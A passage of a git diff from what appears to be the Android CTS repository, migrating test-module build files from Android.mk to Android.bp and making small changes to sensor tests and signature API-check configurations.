+ "general-tests",
+ ],
+ java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/okhttp/Android.mk b/tests/libcore/okhttp/Android.mk
deleted file mode 100644
index eb061da..0000000
--- a/tests/libcore/okhttp/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreOkHttpTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- bouncycastle-unbundled \
- cts-core-test-runner-axt \
- okhttp-nojarjar \
- okhttp-tests-nojarjar
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/runner/Android.bp b/tests/libcore/runner/Android.bp
new file mode 100644
index 0000000..2b8c525
--- /dev/null
+++ b/tests/libcore/runner/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsLibcoreTestRunner",
+ defaults: ["cts_support_defaults"],
+ sdk_version: "test_current",
+ static_libs: ["cts-core-test-runner-axt"],
+ dex_preopt: {
+ enabled: false,
+ },
+ optimize: {
+ enabled: false,
+ },
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/libcore/runner/Android.mk b/tests/libcore/runner/Android.mk
deleted file mode 100644
index 093779b..0000000
--- a/tests/libcore/runner/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreTestRunner
-LOCAL_SDK_VERSION := current
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-core-test-runner-axt
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof-bc/Android.bp b/tests/libcore/wycheproof-bc/Android.bp
new file mode 100644
index 0000000..f719b1a
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsLibcoreWycheproofBCTestCases",
+ defaults: ["cts_support_defaults"],
+ platform_apis: true,
+ static_libs: [
+ "cts-core-test-runner-axt",
+ "wycheproof",
+ ],
+ srcs: ["src/**/*.java"],
+ dex_preopt: {
+ enabled: false,
+ },
+ optimize: {
+ enabled: false,
+ },
+ // Include both the 32 and 64 bit versions of libjavacoretests,
+ // where applicable.
+ compile_multilib: "both",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ ],
+ java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/wycheproof-bc/Android.mk b/tests/libcore/wycheproof-bc/Android.mk
deleted file mode 100644
index 832a155..0000000
--- a/tests/libcore/wycheproof-bc/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofBCTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-core-test-runner-axt \
- wycheproof
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/libcore/wycheproof/Android.bp b/tests/libcore/wycheproof/Android.bp
new file mode 100644
index 0000000..3a9eb28
--- /dev/null
+++ b/tests/libcore/wycheproof/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsLibcoreWycheproofConscryptTestCases",
+ defaults: ["cts_support_defaults"],
+ platform_apis: true,
+ static_libs: [
+ "cts-core-test-runner-axt",
+ "wycheproof",
+ ],
+ srcs: ["src/**/*.java"],
+ dex_preopt: {
+ enabled: false,
+ },
+ optimize: {
+ enabled: false,
+ },
+ // Include both the 32 and 64 bit versions of libjavacoretests,
+ // where applicable.
+ compile_multilib: "both",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ java_resources: [":libcore-expectations-knownfailures"],
+}
diff --git a/tests/libcore/wycheproof/Android.mk b/tests/libcore/wycheproof/Android.mk
deleted file mode 100644
index 0f8fdbf..0000000
--- a/tests/libcore/wycheproof/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofConscryptTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-core-test-runner-axt \
- wycheproof
-
-# Don't include this package in any target
-LOCAL_MODULE_TAGS := tests
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under,src)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_JACK_FLAGS := --multi-dex native
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-# Include both the 32 and 64 bit versions of libjavacoretests,
-# where applicable.
-LOCAL_MULTILIB := both
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/mocking/Android.mk b/tests/mocking/Android.mk
deleted file mode 100644
index cfd03be..0000000
--- a/tests/mocking/Android.mk
+++ /dev/null
@@ -1,2 +0,0 @@
-LOCAL_PATH:= $(call my-dir)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/mocking/extended/Android.bp b/tests/mocking/extended/Android.bp
new file mode 100644
index 0000000..c60f0a3
--- /dev/null
+++ b/tests/mocking/extended/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// NOTE: when converting this file to Android.bp, verify that
+// 'atest CtsExtendedMockingTestCases' succeeds.
+
+android_test_helper_app {
+ name: "CtsExtendedMockingTestCases",
+ defaults: ["cts_defaults"],
+ libs: ["android.test.runner.stubs"],
+ static_libs: [
+ "mockito-target-extended",
+ "androidx.test.rules",
+ "ctstestrunner-axt",
+ "dexmaker-mockmaker-tests",
+ "dexmaker-inline-mockmaker-tests",
+ "dexmaker-extended-mockmaker-tests",
+ "android-support-v4",
+ ],
+ compile_multilib: "both",
+ jni_libs: [
+ "libdexmakerjvmtiagent",
+ "libmultiplejvmtiagentsinterferenceagent",
+ "libstaticjvmtiagent",
+ ],
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+ sdk_version: "current",
+}
diff --git a/tests/mocking/extended/Android.mk b/tests/mocking/extended/Android.mk
deleted file mode 100644
index 39c4dd2..0000000
--- a/tests/mocking/extended/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# NOTE: when converting this file to Android.bp, verify that
-# 'atest CtsExtendedMockingTestCases' succeeds.
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := \
- tests
-LOCAL_JAVA_LIBRARIES := \
- android.test.runner.stubs
-LOCAL_STATIC_JAVA_LIBRARIES = \
- mockito-target-extended \
- androidx.test.rules \
- ctstestrunner-axt \
- dexmaker-mockmaker-tests \
- dexmaker-inline-mockmaker-tests \
- dexmaker-extended-mockmaker-tests \
- android-support-v4
-LOCAL_MULTILIB := \
- both
-LOCAL_JNI_SHARED_LIBRARIES := \
- libdexmakerjvmtiagent \
- libmultiplejvmtiagentsinterferenceagent \
- libstaticjvmtiagent
-LOCAL_COMPATIBILITY_SUITE := \
- cts vts general-tests
-LOCAL_PACKAGE_NAME := \
- CtsExtendedMockingTestCases
-LOCAL_SDK_VERSION := \
- current
-include $(BUILD_CTS_PACKAGE)
-
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 44135bc..c1c9fab 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -77,23 +77,23 @@
public void testAccelerometerRange() {
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
+ Sensor.TYPE_ACCELEROMETER,
ACCELEROMETER_MAX_RANGE,
ACCELEROMETER_MIN_FREQUENCY,
ACCELEROMETER_MAX_FREQUENCY);
- }
+ }
- public void testGyroscopeRange() {
+ public void testGyroscopeRange() {
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE),
+ Sensor.TYPE_GYROSCOPE,
GYRO_MAX_RANGE,
GYRO_MIN_FREQUENCY,
GYRO_MAX_FREQUENCY);
- }
+ }
public void testMagnetometerRange() {
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD),
+ Sensor.TYPE_MAGNETIC_FIELD,
MAGNETOMETER_MAX_RANGE,
MAGNETOMETER_MIN_FREQUENCY,
MAGNETOMETER_MAX_FREQUENCY);
@@ -102,7 +102,7 @@
public void testPressureRange() {
if (mHasHifiSensors) {
checkSensorRangeAndFrequency(
- mSensorManager.getDefaultSensor(Sensor.TYPE_PRESSURE),
+ Sensor.TYPE_PRESSURE,
PRESSURE_MAX_RANGE,
PRESSURE_MIN_FREQUENCY,
PRESSURE_MAX_FREQUENCY);
@@ -110,8 +110,14 @@
}
private void checkSensorRangeAndFrequency(
- Sensor sensor, double maxRange, double minFrequency, double maxFrequency) {
+ int sensorType, double maxRange, double minFrequency, double maxFrequency) {
if (!mHasHifiSensors && !mVrModeHighPerformance) return;
+
+ Sensor sensor = mSensorManager.getDefaultSensor(sensorType);
+ if (sensor == null) {
+ fail(String.format("Must support sensor type %d", sensorType));
+ }
+
assertTrue(String.format("%s Range actual=%.2f expected=%.2f %s",
sensor.getName(), sensor.getMaximumRange(), maxRange,
SensorCtsHelper.getUnitsForSensor(sensor)),
diff --git a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
index 6fd0865..35d48df 100644
--- a/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorSupportTest.java
@@ -22,6 +22,9 @@
import android.hardware.Sensor;
import android.hardware.SensorDirectChannel;
import android.hardware.SensorManager;
+import android.os.Build;
+
+import com.android.compatibility.common.util.PropertyUtil;
/**
* Checks if Hifi sensors or VR High performance mode sensors
@@ -61,7 +64,10 @@
}
public void testSupportsAccelerometerUncalibrated() {
- checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
+ // Uncalibrated accelerometer was not required before Android O
+ if (PropertyUtil.getFirstApiLevel() >= Build.VERSION_CODES.O) {
+ checkSupportsSensor(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED);
+ }
}
public void testSupportsGyroscope() {
diff --git a/tests/signature/Android.bp b/tests/signature/Android.bp
index 21344ea..5cadd88 100644
--- a/tests/signature/Android.bp
+++ b/tests/signature/Android.bp
@@ -14,6 +14,9 @@
// Compat.
java_library_host {
- name: "signature-hostside",
- static_libs: ["signature-common-javalib"],
+ name: "signature-hostside",
+ visibility: [
+ "//cts/tests/signature/tests",
+ ],
+ static_libs: ["signature-common-javalib"],
}
diff --git a/tests/signature/TEST_MAPPING b/tests/signature/TEST_MAPPING
index 5e8cc07..1d8741c 100644
--- a/tests/signature/TEST_MAPPING
+++ b/tests/signature/TEST_MAPPING
@@ -46,6 +46,9 @@
"name": "CtsHiddenApiKillswitchWildcardTestCases"
},
{
+ "name": "CtsSystemApiAnnotationTestCases"
+ },
+ {
"name": "CtsHiddenApiBlacklistApi28TestCases"
},
{
diff --git a/tests/signature/api-check/Android.bp b/tests/signature/api-check/Android.bp
index e66d8fe..ceb82a4 100644
--- a/tests/signature/api-check/Android.bp
+++ b/tests/signature/api-check/Android.bp
@@ -31,3 +31,56 @@
"repackaged.android.test.runner",
],
}
+
+// Defaults for signature api checks.
+java_defaults {
+ name: "signature-api-check-defaults",
+ defaults: ["cts_defaults"],
+ srcs: [
+ "src/**/*.java",
+ ],
+ static_libs: [
+ "cts-api-signature-test",
+ ],
+ jni_libs: [
+ "libclassdescriptors",
+ ],
+ sdk_version: "test_current",
+ compile_multilib: "both",
+}
+
+// Defaults for hiddenapi killswitch checks.
+java_defaults {
+ name: "hiddenapi-killswitch-check-defaults",
+ defaults: ["cts_defaults"],
+
+ compile_multilib: "both",
+ jni_libs: [
+ "libcts_dexchecker",
+ "libclassdescriptors",
+ ],
+ stl: "c++_static",
+
+ // Tag this module as a cts test artifact
+ sdk_version: "test_current",
+ static_libs: ["cts-api-signature-test"],
+}
+
+// Access the hiddenapi-flags.csv file produced by the build.
+hiddenapi_flags {
+ name: "cts-hiddenapi-flags-csv",
+ filename: "hiddenapi-flags.csv",
+}
+
+// Defaults for hiddenapi blacklist checks.
+java_defaults {
+ name: "hiddenapi-blacklist-check-defaults",
+ defaults: ["signature-api-check-defaults"],
+ java_resources: [
+ ":cts-hiddenapi-flags-csv",
+ ],
+ jni_libs: [
+ "libcts_dexchecker",
+ ],
+}
+
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
index d5b0be2..337f5b9 100644
--- a/tests/signature/api-check/Android.mk
+++ b/tests/signature/api-check/Android.mk
@@ -12,18 +12,5 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-LOCAL_PATH := $(call my-dir)
-
-# hidden API lists
-# ===================================
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := cts-hiddenapi_flags-csv
-LOCAL_MODULE_STEM := hiddenapi_flags.csv
-LOCAL_MODULE_CLASS := ETC
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-include $(BUILD_SYSTEM)/base_rules.mk
-$(eval $(call copy-one-file,$(INTERNAL_PLATFORM_HIDDENAPI_FLAGS),$(LOCAL_BUILT_MODULE)))
-
-
+LOCAL_PATH:= $(call my-dir)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/signature/api-check/android-test-base-28-api/Android.bp b/tests/signature/api-check/android-test-base-28-api/Android.bp
new file mode 100644
index 0000000..565aad3
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-28-api/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsAndroidTestBase28ApiSignatureTestCases",
+ defaults: [
+ "signature-api-check-defaults",
+ ],
+ java_resources: [
+ ":cts-android-test-base-current-txt",
+ ],
+ min_sdk_version: "27",
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/android-test-base-28-api/Android.mk b/tests/signature/api-check/android-test-base-28-api/Android.mk
deleted file mode 100644
index 02f3a50..0000000
--- a/tests/signature/api-check/android-test-base-28-api/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidTestBase28ApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
- android-test-base-current.api \
-
-LOCAL_MIN_SDK_VERSION := 25
-LOCAL_SDK_VERSION := 28
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml
index e5f1269..dd67533 100644
--- a/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-base-28-api/AndroidManifest.xml
@@ -16,11 +16,12 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.android_test_base_28">
+ package="android.signature.cts.api.android_test_base_28"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
- <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="28"/>
+ <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="28"/>
<application android:debuggable="true"
android:extractNativeLibs="true"
diff --git a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
index cb418e7..4024e9d 100644
--- a/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-28-api/AndroidTest.xml
@@ -16,15 +16,8 @@
<configuration description="Config for CTS Android Test Base 28 API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAndroidTestBase28ApiSignatureTestCases.apk" />
@@ -33,7 +26,7 @@
<option name="package" value="android.signature.cts.api.android_test_base_28" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.api28.test.SignatureTest" />
- <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api" />
+ <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt" />
<option name="runtime-hint" value="5s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/android-test-base-current-api/Android.bp b/tests/signature/api-check/android-test-base-current-api/Android.bp
new file mode 100644
index 0000000..8ddb74f
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-current-api/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+ name: "CtsAndroidTestBaseCurrentApiSignatureTestCases",
+ defaults: [
+ "signature-api-check-defaults",
+ ],
+ java_resources: [
+ ":cts-android-test-base-current-txt",
+ ],
+
+ use_embedded_native_libs: false,
+ test_suites: [
+ "cts",
+ "vts",
+ "general-tests",
+ ],
+}
diff --git a/tests/signature/api-check/android-test-base-current-api/Android.mk b/tests/signature/api-check/android-test-base-current-api/Android.mk
deleted file mode 100644
index 240f087..0000000
--- a/tests/signature/api-check/android-test-base-current-api/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidTestBaseCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
- android-test-base-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml
index 44e6018..1467a63 100644
--- a/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.android_test_base_current">
+ package="android.signature.cts.api.android_test_base_current"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
index 49ac0a7..d0756b9 100644
--- a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
@@ -16,15 +16,8 @@
<configuration description="Config for CTS Android Test Base Current API Signature test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="systems" />
- <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
- </target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsAndroidTestBaseCurrentApiSignatureTestCases.apk" />
@@ -33,7 +26,7 @@
<option name="package" value="android.signature.cts.api.android_test_base_current" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
<option name="class" value="android.signature.cts.api.current.test.SignatureTest" />
- <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api" />
+ <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt" />
<option name="runtime-hint" value="5s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.bp b/tests/signature/api-check/android-test-mock-current-api/Android.bp
new file mode 100644
index 0000000..e836409
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
